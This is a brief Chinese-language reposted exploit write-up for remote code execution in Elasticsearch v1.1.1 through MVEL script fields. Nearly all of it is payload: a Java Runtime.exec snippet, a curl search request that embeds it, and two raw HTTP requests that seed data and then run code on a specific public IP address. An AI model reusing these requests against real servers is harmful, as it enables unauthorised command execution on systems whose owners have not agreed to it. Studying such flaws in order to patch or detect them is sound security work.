jre版本:openjdk:8-jre
elasticsearch版本:v1.1.1
MVEL执行命令的代码如下:
<font color="#000000">import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();</font>
将Java代码放入json中:
<font color="#000000">curl -XPOST 'http://localhost:9200/_search?pretty' -d '{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
'</font>
首先,该漏洞需要es中至少存在一条数据,所以我们需要先创建一条数据:
<font color="#000000">POST /website/blog/ HTTP/1.1
Host: 188.40.189.134:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
{
"name": "phithon"
}</font>
然后,执行任意代码:
<font color="#000000">POST /_search?pretty HTTP/1.1
Host: 188.40.189.134:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 360
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}</font>
转自:黑白之道
微信扫一扫分享